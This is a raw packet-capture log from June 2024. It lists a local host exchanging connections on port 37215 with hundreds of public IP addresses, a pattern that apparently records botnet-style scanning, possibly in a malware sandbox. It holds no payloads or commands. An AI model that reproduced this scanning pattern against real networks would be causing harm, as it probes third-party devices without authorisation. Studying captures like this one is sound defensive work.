Jun 10, 2024 15:37:59.928760052 CEST	37215	30401	41.199.92.101	192.168.2.13
Jun 10, 2024 15:37:59.928765059 CEST	30401	37215	192.168.2.13	197.105.252.78
Jun 10, 2024 15:37:59.928787947 CEST	37215	30401	156.31.183.184	192.168.2.13
Jun 10, 2024 15:37:59.928797960 CEST	30401	37215	192.168.2.13	41.199.92.101
Jun 10, 2024 15:37:59.928814888 CEST	37215	30401	197.140.210.2	192.168.2.13
Jun 10, 2024 15:37:59.928827047 CEST	45682	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.928828001 CEST	30401	37215	192.168.2.13	156.31.183.184
Jun 10, 2024 15:37:59.928843021 CEST	37215	30401	156.146.16.211	192.168.2.13
Jun 10, 2024 15:37:59.928849936 CEST	45682	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.928853035 CEST	30401	37215	192.168.2.13	197.140.210.2
Jun 10, 2024 15:37:59.928870916 CEST	37215	30401	197.115.150.74	192.168.2.13
Jun 10, 2024 15:37:59.928884029 CEST	30401	37215	192.168.2.13	156.146.16.211
Jun 10, 2024 15:37:59.928899050 CEST	37215	30401	156.87.239.128	192.168.2.13
Jun 10, 2024 15:37:59.928905010 CEST	30401	37215	192.168.2.13	197.115.150.74
Jun 10, 2024 15:37:59.928925991 CEST	37215	30401	156.140.205.3	192.168.2.13
Jun 10, 2024 15:37:59.928932905 CEST	30401	37215	192.168.2.13	156.87.239.128
Jun 10, 2024 15:37:59.928953886 CEST	37215	30401	156.4.234.73	192.168.2.13
Jun 10, 2024 15:37:59.928966045 CEST	30401	37215	192.168.2.13	156.140.205.3
Jun 10, 2024 15:37:59.928982019 CEST	37215	30401	156.188.210.137	192.168.2.13
Jun 10, 2024 15:37:59.928992987 CEST	30401	37215	192.168.2.13	156.4.234.73
Jun 10, 2024 15:37:59.929008961 CEST	37215	30401	41.79.220.11	192.168.2.13
Jun 10, 2024 15:37:59.929018974 CEST	30401	37215	192.168.2.13	156.188.210.137
Jun 10, 2024 15:37:59.929039955 CEST	37215	30401	41.23.10.68	192.168.2.13
Jun 10, 2024 15:37:59.929044008 CEST	30401	37215	192.168.2.13	41.79.220.11
Jun 10, 2024 15:37:59.929081917 CEST	30401	37215	192.168.2.13	41.23.10.68
Jun 10, 2024 15:37:59.929090023 CEST	37215	30401	156.122.247.128	192.168.2.13
Jun 10, 2024 15:37:59.929127932 CEST	37215	30401	41.84.166.18	192.168.2.13
Jun 10, 2024 15:37:59.929136992 CEST	30401	37215	192.168.2.13	156.122.247.128
Jun 10, 2024 15:37:59.929156065 CEST	37215	30401	156.206.101.29	192.168.2.13
Jun 10, 2024 15:37:59.929171085 CEST	30401	37215	192.168.2.13	41.84.166.18
Jun 10, 2024 15:37:59.929183960 CEST	37215	30401	41.148.223.248	192.168.2.13
Jun 10, 2024 15:37:59.929193020 CEST	30401	37215	192.168.2.13	156.206.101.29
Jun 10, 2024 15:37:59.929213047 CEST	37215	30401	197.11.57.75	192.168.2.13
Jun 10, 2024 15:37:59.929217100 CEST	30401	37215	192.168.2.13	41.148.223.248
Jun 10, 2024 15:37:59.929222107 CEST	46434	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.929241896 CEST	37215	30401	41.77.201.86	192.168.2.13
Jun 10, 2024 15:37:59.929250956 CEST	30401	37215	192.168.2.13	197.11.57.75
Jun 10, 2024 15:37:59.929253101 CEST	37215	30401	197.131.198.185	192.168.2.13
Jun 10, 2024 15:37:59.929265976 CEST	37215	30401	197.219.177.7	192.168.2.13
Jun 10, 2024 15:37:59.929276943 CEST	37215	30401	41.49.7.184	192.168.2.13
Jun 10, 2024 15:37:59.929279089 CEST	30401	37215	192.168.2.13	41.77.201.86
Jun 10, 2024 15:37:59.929281950 CEST	30401	37215	192.168.2.13	197.131.198.185
Jun 10, 2024 15:37:59.929289103 CEST	37215	30401	197.49.76.111	192.168.2.13
Jun 10, 2024 15:37:59.929299116 CEST	37215	30401	41.50.69.190	192.168.2.13
Jun 10, 2024 15:37:59.929299116 CEST	30401	37215	192.168.2.13	197.219.177.7
Jun 10, 2024 15:37:59.929307938 CEST	37215	30401	197.71.128.162	192.168.2.13
Jun 10, 2024 15:37:59.929311991 CEST	30401	37215	192.168.2.13	41.49.7.184
Jun 10, 2024 15:37:59.929312944 CEST	30401	37215	192.168.2.13	197.49.76.111
Jun 10, 2024 15:37:59.929316998 CEST	37215	30401	41.236.52.72	192.168.2.13
Jun 10, 2024 15:37:59.929322004 CEST	30401	37215	192.168.2.13	41.50.69.190
Jun 10, 2024 15:37:59.929325104 CEST	37215	30401	197.42.255.109	192.168.2.13
Jun 10, 2024 15:37:59.929335117 CEST	37215	30401	41.59.248.108	192.168.2.13
Jun 10, 2024 15:37:59.929337978 CEST	30401	37215	192.168.2.13	197.71.128.162
Jun 10, 2024 15:37:59.929343939 CEST	37215	30401	41.199.33.195	192.168.2.13
Jun 10, 2024 15:37:59.929352045 CEST	30401	37215	192.168.2.13	41.236.52.72
Jun 10, 2024 15:37:59.929352045 CEST	37215	30401	156.231.3.22	192.168.2.13
Jun 10, 2024 15:37:59.929362059 CEST	37215	30401	197.198.82.199	192.168.2.13
Jun 10, 2024 15:37:59.929364920 CEST	30401	37215	192.168.2.13	197.42.255.109
Jun 10, 2024 15:37:59.929371119 CEST	37215	30401	156.50.128.128	192.168.2.13
Jun 10, 2024 15:37:59.929378033 CEST	30401	37215	192.168.2.13	156.231.3.22
Jun 10, 2024 15:37:59.929378986 CEST	30401	37215	192.168.2.13	41.59.248.108
Jun 10, 2024 15:37:59.929379940 CEST	37215	30401	41.195.201.204	192.168.2.13
Jun 10, 2024 15:37:59.929378986 CEST	30401	37215	192.168.2.13	41.199.33.195
Jun 10, 2024 15:37:59.929387093 CEST	30401	37215	192.168.2.13	197.198.82.199
Jun 10, 2024 15:37:59.929389000 CEST	37215	30401	41.250.10.112	192.168.2.13
Jun 10, 2024 15:37:59.929394960 CEST	30401	37215	192.168.2.13	156.50.128.128
Jun 10, 2024 15:37:59.929398060 CEST	37215	30401	197.209.13.148	192.168.2.13
Jun 10, 2024 15:37:59.929409027 CEST	37215	30401	197.19.202.159	192.168.2.13
Jun 10, 2024 15:37:59.929409981 CEST	30401	37215	192.168.2.13	41.195.201.204
Jun 10, 2024 15:37:59.929410934 CEST	30401	37215	192.168.2.13	41.250.10.112
Jun 10, 2024 15:37:59.929419041 CEST	37215	30401	156.133.230.89	192.168.2.13
Jun 10, 2024 15:37:59.929435015 CEST	30401	37215	192.168.2.13	197.209.13.148
Jun 10, 2024 15:37:59.929438114 CEST	37215	30401	156.163.212.184	192.168.2.13
Jun 10, 2024 15:37:59.929446936 CEST	37215	30401	197.73.48.53	192.168.2.13
Jun 10, 2024 15:37:59.929454088 CEST	30401	37215	192.168.2.13	197.19.202.159
Jun 10, 2024 15:37:59.929455996 CEST	37215	30401	197.132.235.28	192.168.2.13
Jun 10, 2024 15:37:59.929457903 CEST	30401	37215	192.168.2.13	156.133.230.89
Jun 10, 2024 15:37:59.929466009 CEST	37215	30401	156.242.9.84	192.168.2.13
Jun 10, 2024 15:37:59.929474115 CEST	30401	37215	192.168.2.13	156.163.212.184
Jun 10, 2024 15:37:59.929475069 CEST	30401	37215	192.168.2.13	197.73.48.53
Jun 10, 2024 15:37:59.929477930 CEST	37215	30401	197.248.91.218	192.168.2.13
Jun 10, 2024 15:37:59.929483891 CEST	30401	37215	192.168.2.13	197.132.235.28
Jun 10, 2024 15:37:59.929486036 CEST	37215	30401	156.240.162.198	192.168.2.13
Jun 10, 2024 15:37:59.929493904 CEST	37215	30401	197.250.68.236	192.168.2.13
Jun 10, 2024 15:37:59.929502010 CEST	37215	30401	197.135.194.123	192.168.2.13
Jun 10, 2024 15:37:59.929505110 CEST	30401	37215	192.168.2.13	156.242.9.84
Jun 10, 2024 15:37:59.929507017 CEST	30401	37215	192.168.2.13	197.248.91.218
Jun 10, 2024 15:37:59.929511070 CEST	37215	30401	41.15.4.34	192.168.2.13
Jun 10, 2024 15:37:59.929519892 CEST	37215	30401	41.193.204.63	192.168.2.13
Jun 10, 2024 15:37:59.929524899 CEST	30401	37215	192.168.2.13	156.240.162.198
Jun 10, 2024 15:37:59.929526091 CEST	30401	37215	192.168.2.13	197.250.68.236
Jun 10, 2024 15:37:59.929526091 CEST	30401	37215	192.168.2.13	197.135.194.123
Jun 10, 2024 15:37:59.929528952 CEST	37215	30401	41.103.0.131	192.168.2.13
Jun 10, 2024 15:37:59.929538012 CEST	37215	30401	41.203.96.149	192.168.2.13
Jun 10, 2024 15:37:59.929547071 CEST	37215	30401	197.30.31.215	192.168.2.13
Jun 10, 2024 15:37:59.929552078 CEST	30401	37215	192.168.2.13	41.15.4.34
Jun 10, 2024 15:37:59.929552078 CEST	30401	37215	192.168.2.13	41.193.204.63
Jun 10, 2024 15:37:59.929554939 CEST	37215	30401	41.190.115.60	192.168.2.13
Jun 10, 2024 15:37:59.929557085 CEST	30401	37215	192.168.2.13	41.103.0.131
Jun 10, 2024 15:37:59.929560900 CEST	30401	37215	192.168.2.13	41.203.96.149
Jun 10, 2024 15:37:59.929563999 CEST	37215	30401	156.8.141.127	192.168.2.13
Jun 10, 2024 15:37:59.929573059 CEST	30401	37215	192.168.2.13	197.30.31.215
Jun 10, 2024 15:37:59.929574013 CEST	37215	30401	197.74.69.32	192.168.2.13
Jun 10, 2024 15:37:59.929575920 CEST	30401	37215	192.168.2.13	41.190.115.60
Jun 10, 2024 15:37:59.929584026 CEST	37215	30401	197.222.98.66	192.168.2.13
Jun 10, 2024 15:37:59.929591894 CEST	37215	30401	197.97.18.49	192.168.2.13
Jun 10, 2024 15:37:59.929595947 CEST	30401	37215	192.168.2.13	156.8.141.127
Jun 10, 2024 15:37:59.929600954 CEST	37215	30401	197.219.218.83	192.168.2.13
Jun 10, 2024 15:37:59.929610968 CEST	37215	30401	41.45.179.8	192.168.2.13
Jun 10, 2024 15:37:59.929610968 CEST	30401	37215	192.168.2.13	197.74.69.32
Jun 10, 2024 15:37:59.929616928 CEST	30401	37215	192.168.2.13	197.222.98.66
Jun 10, 2024 15:37:59.929621935 CEST	30401	37215	192.168.2.13	197.97.18.49
Jun 10, 2024 15:37:59.929631948 CEST	30401	37215	192.168.2.13	197.219.218.83
Jun 10, 2024 15:37:59.929639101 CEST	30401	37215	192.168.2.13	41.45.179.8
Jun 10, 2024 15:37:59.929860115 CEST	37215	30401	41.101.184.105	192.168.2.13
Jun 10, 2024 15:37:59.929860115 CEST	33796	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.929860115 CEST	33796	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.929871082 CEST	37215	30401	197.251.83.227	192.168.2.13
Jun 10, 2024 15:37:59.929878950 CEST	37215	30401	197.83.1.210	192.168.2.13
Jun 10, 2024 15:37:59.929894924 CEST	37215	30401	156.246.144.15	192.168.2.13
Jun 10, 2024 15:37:59.929902077 CEST	30401	37215	192.168.2.13	197.251.83.227
Jun 10, 2024 15:37:59.929903984 CEST	30401	37215	192.168.2.13	41.101.184.105
Jun 10, 2024 15:37:59.929903984 CEST	37215	30401	197.50.199.178	192.168.2.13
Jun 10, 2024 15:37:59.929910898 CEST	30401	37215	192.168.2.13	197.83.1.210
Jun 10, 2024 15:37:59.929913998 CEST	37215	30401	197.245.117.193	192.168.2.13
Jun 10, 2024 15:37:59.929922104 CEST	30401	37215	192.168.2.13	156.246.144.15
Jun 10, 2024 15:37:59.929929972 CEST	37215	30401	156.178.249.118	192.168.2.13
Jun 10, 2024 15:37:59.929933071 CEST	30401	37215	192.168.2.13	197.50.199.178
Jun 10, 2024 15:37:59.929939985 CEST	37215	30401	41.158.18.176	192.168.2.13
Jun 10, 2024 15:37:59.929941893 CEST	30401	37215	192.168.2.13	197.245.117.193
Jun 10, 2024 15:37:59.929949045 CEST	37215	30401	197.148.164.172	192.168.2.13
Jun 10, 2024 15:37:59.929956913 CEST	37215	30401	41.76.132.196	192.168.2.13
Jun 10, 2024 15:37:59.929961920 CEST	30401	37215	192.168.2.13	156.178.249.118
Jun 10, 2024 15:37:59.929965973 CEST	37215	30401	156.25.57.194	192.168.2.13
Jun 10, 2024 15:37:59.929970980 CEST	30401	37215	192.168.2.13	41.158.18.176
Jun 10, 2024 15:37:59.929975033 CEST	37215	30401	41.120.36.243	192.168.2.13
Jun 10, 2024 15:37:59.929980993 CEST	30401	37215	192.168.2.13	197.148.164.172
Jun 10, 2024 15:37:59.929980993 CEST	30401	37215	192.168.2.13	41.76.132.196
Jun 10, 2024 15:37:59.929984093 CEST	37215	30401	156.194.220.38	192.168.2.13
Jun 10, 2024 15:37:59.929991961 CEST	30401	37215	192.168.2.13	156.25.57.194
Jun 10, 2024 15:37:59.930001020 CEST	37215	30401	156.108.88.64	192.168.2.13
Jun 10, 2024 15:37:59.930007935 CEST	30401	37215	192.168.2.13	41.120.36.243
Jun 10, 2024 15:37:59.930010080 CEST	37215	30401	156.71.92.82	192.168.2.13
Jun 10, 2024 15:37:59.930016041 CEST	30401	37215	192.168.2.13	156.194.220.38
Jun 10, 2024 15:37:59.930018902 CEST	37215	30401	197.140.52.29	192.168.2.13
Jun 10, 2024 15:37:59.930027962 CEST	37215	30401	197.75.4.129	192.168.2.13
Jun 10, 2024 15:37:59.930037022 CEST	37215	30401	41.66.104.235	192.168.2.13
Jun 10, 2024 15:37:59.930041075 CEST	30401	37215	192.168.2.13	156.108.88.64
Jun 10, 2024 15:37:59.930044889 CEST	37215	30401	197.0.90.73	192.168.2.13
Jun 10, 2024 15:37:59.930048943 CEST	30401	37215	192.168.2.13	197.140.52.29
Jun 10, 2024 15:37:59.930052996 CEST	37215	30401	41.95.144.27	192.168.2.13
Jun 10, 2024 15:37:59.930056095 CEST	30401	37215	192.168.2.13	156.71.92.82
Jun 10, 2024 15:37:59.930058002 CEST	30401	37215	192.168.2.13	197.75.4.129
Jun 10, 2024 15:37:59.930062056 CEST	37215	30401	41.199.81.106	192.168.2.13
Jun 10, 2024 15:37:59.930067062 CEST	30401	37215	192.168.2.13	197.0.90.73
Jun 10, 2024 15:37:59.930072069 CEST	37215	30401	197.95.149.7	192.168.2.13
Jun 10, 2024 15:37:59.930077076 CEST	30401	37215	192.168.2.13	41.66.104.235
Jun 10, 2024 15:37:59.930078030 CEST	30401	37215	192.168.2.13	41.95.144.27
Jun 10, 2024 15:37:59.930080891 CEST	37215	30401	197.13.199.119	192.168.2.13
Jun 10, 2024 15:37:59.930099010 CEST	37215	30401	41.135.168.18	192.168.2.13
Jun 10, 2024 15:37:59.930099964 CEST	30401	37215	192.168.2.13	41.199.81.106
Jun 10, 2024 15:37:59.930108070 CEST	37215	30401	197.123.234.72	192.168.2.13
Jun 10, 2024 15:37:59.930115938 CEST	30401	37215	192.168.2.13	197.13.199.119
Jun 10, 2024 15:37:59.930116892 CEST	30401	37215	192.168.2.13	197.95.149.7
Jun 10, 2024 15:37:59.930118084 CEST	37215	30401	197.251.210.246	192.168.2.13
Jun 10, 2024 15:37:59.930125952 CEST	37215	30401	197.108.164.129	192.168.2.13
Jun 10, 2024 15:37:59.930134058 CEST	37215	30401	197.61.115.35	192.168.2.13
Jun 10, 2024 15:37:59.930138111 CEST	30401	37215	192.168.2.13	41.135.168.18
Jun 10, 2024 15:37:59.930140018 CEST	30401	37215	192.168.2.13	197.123.234.72
Jun 10, 2024 15:37:59.930151939 CEST	30401	37215	192.168.2.13	197.251.210.246
Jun 10, 2024 15:37:59.930155993 CEST	30401	37215	192.168.2.13	197.108.164.129
Jun 10, 2024 15:37:59.930157900 CEST	30401	37215	192.168.2.13	197.61.115.35
Jun 10, 2024 15:37:59.930327892 CEST	34544	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.930362940 CEST	37215	30401	41.140.253.20	192.168.2.13
Jun 10, 2024 15:37:59.930373907 CEST	37215	30401	156.10.203.90	192.168.2.13
Jun 10, 2024 15:37:59.930381060 CEST	37215	30401	197.250.143.229	192.168.2.13
Jun 10, 2024 15:37:59.930399895 CEST	30401	37215	192.168.2.13	41.140.253.20
Jun 10, 2024 15:37:59.930407047 CEST	30401	37215	192.168.2.13	156.10.203.90
Jun 10, 2024 15:37:59.930414915 CEST	37215	30401	41.148.8.96	192.168.2.13
Jun 10, 2024 15:37:59.930417061 CEST	30401	37215	192.168.2.13	197.250.143.229
Jun 10, 2024 15:37:59.930424929 CEST	37215	30401	156.254.44.189	192.168.2.13
Jun 10, 2024 15:37:59.930433035 CEST	37215	30401	197.232.145.86	192.168.2.13
Jun 10, 2024 15:37:59.930440903 CEST	37215	30401	197.168.171.248	192.168.2.13
Jun 10, 2024 15:37:59.930449963 CEST	37215	30401	41.57.180.175	192.168.2.13
Jun 10, 2024 15:37:59.930449963 CEST	30401	37215	192.168.2.13	41.148.8.96
Jun 10, 2024 15:37:59.930459023 CEST	30401	37215	192.168.2.13	156.254.44.189
Jun 10, 2024 15:37:59.930459976 CEST	37215	30401	156.95.172.102	192.168.2.13
Jun 10, 2024 15:37:59.930465937 CEST	30401	37215	192.168.2.13	197.168.171.248
Jun 10, 2024 15:37:59.930469036 CEST	37215	30401	41.180.227.148	192.168.2.13
Jun 10, 2024 15:37:59.930469990 CEST	30401	37215	192.168.2.13	197.232.145.86
Jun 10, 2024 15:37:59.930480003 CEST	37215	30401	197.37.133.232	192.168.2.13
Jun 10, 2024 15:37:59.930483103 CEST	30401	37215	192.168.2.13	41.57.180.175
Jun 10, 2024 15:37:59.930488110 CEST	37215	30401	41.17.133.38	192.168.2.13
Jun 10, 2024 15:37:59.930495977 CEST	30401	37215	192.168.2.13	41.180.227.148
Jun 10, 2024 15:37:59.930495977 CEST	30401	37215	192.168.2.13	156.95.172.102
Jun 10, 2024 15:37:59.930496931 CEST	37215	30401	156.71.2.44	192.168.2.13
Jun 10, 2024 15:37:59.930512905 CEST	37215	30401	41.96.216.173	192.168.2.13
Jun 10, 2024 15:37:59.930515051 CEST	30401	37215	192.168.2.13	197.37.133.232
Jun 10, 2024 15:37:59.930515051 CEST	30401	37215	192.168.2.13	41.17.133.38
Jun 10, 2024 15:37:59.930521965 CEST	37215	30401	156.74.190.112	192.168.2.13
Jun 10, 2024 15:37:59.930530071 CEST	37215	30401	197.76.179.174	192.168.2.13
Jun 10, 2024 15:37:59.930537939 CEST	30401	37215	192.168.2.13	156.71.2.44
Jun 10, 2024 15:37:59.930546045 CEST	30401	37215	192.168.2.13	41.96.216.173
Jun 10, 2024 15:37:59.930546045 CEST	30401	37215	192.168.2.13	156.74.190.112
Jun 10, 2024 15:37:59.930568933 CEST	37215	30401	197.19.235.72	192.168.2.13
Jun 10, 2024 15:37:59.930572987 CEST	30401	37215	192.168.2.13	197.76.179.174
Jun 10, 2024 15:37:59.930577993 CEST	37215	30401	156.236.155.191	192.168.2.13
Jun 10, 2024 15:37:59.930587053 CEST	37215	30401	156.214.128.73	192.168.2.13
Jun 10, 2024 15:37:59.930597067 CEST	37215	30401	156.157.187.149	192.168.2.13
Jun 10, 2024 15:37:59.930602074 CEST	30401	37215	192.168.2.13	197.19.235.72
Jun 10, 2024 15:37:59.930605888 CEST	37215	30401	156.95.114.158	192.168.2.13
Jun 10, 2024 15:37:59.930605888 CEST	30401	37215	192.168.2.13	156.236.155.191
Jun 10, 2024 15:37:59.930623055 CEST	37215	30401	197.215.172.135	192.168.2.13
Jun 10, 2024 15:37:59.930632114 CEST	37215	30401	41.143.17.139	192.168.2.13
Jun 10, 2024 15:37:59.930632114 CEST	30401	37215	192.168.2.13	156.214.128.73
Jun 10, 2024 15:37:59.930638075 CEST	30401	37215	192.168.2.13	156.157.187.149
Jun 10, 2024 15:37:59.930639982 CEST	37215	30401	197.134.224.38	192.168.2.13
Jun 10, 2024 15:37:59.930646896 CEST	30401	37215	192.168.2.13	156.95.114.158
Jun 10, 2024 15:37:59.930649042 CEST	37215	30401	41.46.83.152	192.168.2.13
Jun 10, 2024 15:37:59.930655003 CEST	30401	37215	192.168.2.13	197.215.172.135
Jun 10, 2024 15:37:59.930659056 CEST	37215	30401	197.122.48.209	192.168.2.13
Jun 10, 2024 15:37:59.930669069 CEST	37215	30401	156.56.244.116	192.168.2.13
Jun 10, 2024 15:37:59.930675030 CEST	30401	37215	192.168.2.13	41.143.17.139
Jun 10, 2024 15:37:59.930675983 CEST	30401	37215	192.168.2.13	197.134.224.38
Jun 10, 2024 15:37:59.930684090 CEST	30401	37215	192.168.2.13	41.46.83.152
Jun 10, 2024 15:37:59.930684090 CEST	30401	37215	192.168.2.13	197.122.48.209
Jun 10, 2024 15:37:59.930696964 CEST	30401	37215	192.168.2.13	156.56.244.116
Jun 10, 2024 15:37:59.930929899 CEST	32834	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.930929899 CEST	32834	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.931155920 CEST	37215	30401	41.80.149.177	192.168.2.13
Jun 10, 2024 15:37:59.931186914 CEST	30401	37215	192.168.2.13	41.80.149.177
Jun 10, 2024 15:37:59.931201935 CEST	37215	30401	156.3.31.237	192.168.2.13
Jun 10, 2024 15:37:59.931210995 CEST	37215	30401	197.19.101.209	192.168.2.13
Jun 10, 2024 15:37:59.931220055 CEST	37215	30401	197.32.31.82	192.168.2.13
Jun 10, 2024 15:37:59.931236982 CEST	37215	30401	156.163.128.46	192.168.2.13
Jun 10, 2024 15:37:59.931236982 CEST	30401	37215	192.168.2.13	156.3.31.237
Jun 10, 2024 15:37:59.931238890 CEST	30401	37215	192.168.2.13	197.19.101.209
Jun 10, 2024 15:37:59.931246042 CEST	37215	30401	197.213.62.250	192.168.2.13
Jun 10, 2024 15:37:59.931246996 CEST	30401	37215	192.168.2.13	197.32.31.82
Jun 10, 2024 15:37:59.931255102 CEST	37215	30401	156.196.212.50	192.168.2.13
Jun 10, 2024 15:37:59.931265116 CEST	37215	30401	41.173.252.224	192.168.2.13
Jun 10, 2024 15:37:59.931272984 CEST	37215	30401	156.151.24.19	192.168.2.13
Jun 10, 2024 15:37:59.931274891 CEST	30401	37215	192.168.2.13	197.213.62.250
Jun 10, 2024 15:37:59.931277990 CEST	30401	37215	192.168.2.13	156.163.128.46
Jun 10, 2024 15:37:59.931281090 CEST	37215	30401	156.107.208.91	192.168.2.13
Jun 10, 2024 15:37:59.931287050 CEST	30401	37215	192.168.2.13	156.196.212.50
Jun 10, 2024 15:37:59.931287050 CEST	30401	37215	192.168.2.13	41.173.252.224
Jun 10, 2024 15:37:59.931291103 CEST	37215	30401	156.17.158.142	192.168.2.13
Jun 10, 2024 15:37:59.931301117 CEST	37215	30401	197.175.213.47	192.168.2.13
Jun 10, 2024 15:37:59.931307077 CEST	30401	37215	192.168.2.13	156.151.24.19
Jun 10, 2024 15:37:59.931308031 CEST	30401	37215	192.168.2.13	156.107.208.91
Jun 10, 2024 15:37:59.931313992 CEST	30401	37215	192.168.2.13	156.17.158.142
Jun 10, 2024 15:37:59.931318045 CEST	37215	30401	197.124.39.48	192.168.2.13
Jun 10, 2024 15:37:59.931325912 CEST	37215	30401	197.158.31.137	192.168.2.13
Jun 10, 2024 15:37:59.931330919 CEST	30401	37215	192.168.2.13	197.175.213.47
Jun 10, 2024 15:37:59.931334972 CEST	37215	30401	41.110.45.113	192.168.2.13
Jun 10, 2024 15:37:59.931344032 CEST	37215	30401	41.179.71.71	192.168.2.13
Jun 10, 2024 15:37:59.931346893 CEST	30401	37215	192.168.2.13	197.124.39.48
Jun 10, 2024 15:37:59.931351900 CEST	37215	30401	156.4.180.106	192.168.2.13
Jun 10, 2024 15:37:59.931353092 CEST	30401	37215	192.168.2.13	197.158.31.137
Jun 10, 2024 15:37:59.931360006 CEST	33578	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.931360960 CEST	30401	37215	192.168.2.13	41.110.45.113
Jun 10, 2024 15:37:59.931360960 CEST	37215	30401	41.207.71.57	192.168.2.13
Jun 10, 2024 15:37:59.931370020 CEST	37215	30401	156.5.252.171	192.168.2.13
Jun 10, 2024 15:37:59.931377888 CEST	37215	30401	41.38.204.137	192.168.2.13
Jun 10, 2024 15:37:59.931379080 CEST	30401	37215	192.168.2.13	41.179.71.71
Jun 10, 2024 15:37:59.931382895 CEST	30401	37215	192.168.2.13	41.207.71.57
Jun 10, 2024 15:37:59.931386948 CEST	37215	30401	41.102.135.121	192.168.2.13
Jun 10, 2024 15:37:59.931386948 CEST	30401	37215	192.168.2.13	156.4.180.106
Jun 10, 2024 15:37:59.931396008 CEST	30401	37215	192.168.2.13	156.5.252.171
Jun 10, 2024 15:37:59.931396008 CEST	37215	30401	41.205.92.11	192.168.2.13
Jun 10, 2024 15:37:59.931405067 CEST	30401	37215	192.168.2.13	41.38.204.137
Jun 10, 2024 15:37:59.931413889 CEST	37215	30401	197.167.172.253	192.168.2.13
Jun 10, 2024 15:37:59.931422949 CEST	37215	30401	156.248.183.57	192.168.2.13
Jun 10, 2024 15:37:59.931422949 CEST	30401	37215	192.168.2.13	41.102.135.121
Jun 10, 2024 15:37:59.931423903 CEST	30401	37215	192.168.2.13	41.205.92.11
Jun 10, 2024 15:37:59.931432009 CEST	37215	30401	41.98.105.119	192.168.2.13
Jun 10, 2024 15:37:59.931441069 CEST	37215	30401	156.115.8.112	192.168.2.13
Jun 10, 2024 15:37:59.931448936 CEST	37215	30401	41.104.143.130	192.168.2.13
Jun 10, 2024 15:37:59.931452036 CEST	30401	37215	192.168.2.13	197.167.172.253
Jun 10, 2024 15:37:59.931457043 CEST	37215	30401	156.160.189.150	192.168.2.13
Jun 10, 2024 15:37:59.931457996 CEST	30401	37215	192.168.2.13	156.248.183.57
Jun 10, 2024 15:37:59.931463957 CEST	30401	37215	192.168.2.13	41.98.105.119
Jun 10, 2024 15:37:59.931471109 CEST	30401	37215	192.168.2.13	156.115.8.112
Jun 10, 2024 15:37:59.931473970 CEST	30401	37215	192.168.2.13	41.104.143.130
Jun 10, 2024 15:37:59.931482077 CEST	30401	37215	192.168.2.13	156.160.189.150
Jun 10, 2024 15:37:59.931782961 CEST	37215	30401	156.67.73.136	192.168.2.13
Jun 10, 2024 15:37:59.931813002 CEST	30401	37215	192.168.2.13	156.67.73.136
Jun 10, 2024 15:37:59.931832075 CEST	37215	30401	41.8.64.229	192.168.2.13
Jun 10, 2024 15:37:59.931839943 CEST	37215	30401	41.37.120.162	192.168.2.13
Jun 10, 2024 15:37:59.931849003 CEST	37215	30401	156.12.136.95	192.168.2.13
Jun 10, 2024 15:37:59.931858063 CEST	37215	30401	197.5.12.63	192.168.2.13
Jun 10, 2024 15:37:59.931865931 CEST	37215	30401	156.3.24.43	192.168.2.13
Jun 10, 2024 15:37:59.931868076 CEST	30401	37215	192.168.2.13	41.8.64.229
Jun 10, 2024 15:37:59.931874037 CEST	30401	37215	192.168.2.13	41.37.120.162
Jun 10, 2024 15:37:59.931874037 CEST	30401	37215	192.168.2.13	156.12.136.95
Jun 10, 2024 15:37:59.931880951 CEST	37215	30401	156.206.234.253	192.168.2.13
Jun 10, 2024 15:37:59.931890965 CEST	37215	30401	156.89.233.74	192.168.2.13
Jun 10, 2024 15:37:59.931898117 CEST	37215	30401	156.35.190.239	192.168.2.13
Jun 10, 2024 15:37:59.931900978 CEST	30401	37215	192.168.2.13	197.5.12.63
Jun 10, 2024 15:37:59.931906939 CEST	37215	30401	41.88.95.108	192.168.2.13
Jun 10, 2024 15:37:59.931910038 CEST	30401	37215	192.168.2.13	156.3.24.43
Jun 10, 2024 15:37:59.931915045 CEST	37215	30401	197.62.237.91	192.168.2.13
Jun 10, 2024 15:37:59.931916952 CEST	30401	37215	192.168.2.13	156.206.234.253
Jun 10, 2024 15:37:59.931921959 CEST	30401	37215	192.168.2.13	156.89.233.74
Jun 10, 2024 15:37:59.931922913 CEST	37215	30401	197.85.105.98	192.168.2.13
Jun 10, 2024 15:37:59.931926012 CEST	30401	37215	192.168.2.13	156.35.190.239
Jun 10, 2024 15:37:59.931931019 CEST	30401	37215	192.168.2.13	41.88.95.108
Jun 10, 2024 15:37:59.931936979 CEST	30401	37215	192.168.2.13	197.62.237.91
Jun 10, 2024 15:37:59.931950092 CEST	30401	37215	192.168.2.13	197.85.105.98
Jun 10, 2024 15:37:59.931967020 CEST	37610	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.931977034 CEST	37610	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.932003021 CEST	37215	30401	197.84.231.181	192.168.2.13
Jun 10, 2024 15:37:59.932012081 CEST	37215	30401	41.221.248.68	192.168.2.13
Jun 10, 2024 15:37:59.932019949 CEST	37215	30401	156.84.66.36	192.168.2.13
Jun 10, 2024 15:37:59.932029009 CEST	37215	30401	41.126.65.112	192.168.2.13
Jun 10, 2024 15:37:59.932037115 CEST	37215	30401	197.185.247.176	192.168.2.13
Jun 10, 2024 15:37:59.932034969 CEST	30401	37215	192.168.2.13	197.84.231.181
Jun 10, 2024 15:37:59.932044029 CEST	30401	37215	192.168.2.13	156.84.66.36
Jun 10, 2024 15:37:59.932044983 CEST	37215	30401	41.69.41.18	192.168.2.13
Jun 10, 2024 15:37:59.932054043 CEST	30401	37215	192.168.2.13	41.126.65.112
Jun 10, 2024 15:37:59.932054043 CEST	37215	30401	41.16.238.254	192.168.2.13
Jun 10, 2024 15:37:59.932054996 CEST	30401	37215	192.168.2.13	41.221.248.68
Jun 10, 2024 15:37:59.932059050 CEST	30401	37215	192.168.2.13	197.185.247.176
Jun 10, 2024 15:37:59.932061911 CEST	37215	30401	197.149.60.7	192.168.2.13
Jun 10, 2024 15:37:59.932066917 CEST	30401	37215	192.168.2.13	41.69.41.18
